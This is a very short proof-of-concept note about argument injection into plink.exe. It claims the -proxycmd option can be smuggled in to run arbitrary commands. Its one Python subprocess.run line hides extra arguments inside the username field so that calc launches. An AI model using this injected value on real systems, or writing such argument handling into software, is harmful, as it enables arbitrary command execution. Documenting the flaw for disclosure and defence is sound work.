You are able to inject -proxycmd to execute arbitrary commands.
-proxycmd
subprocess.run(['plink.exe', 'example.com', '-l', 'user" "-proxycmd" "calc'])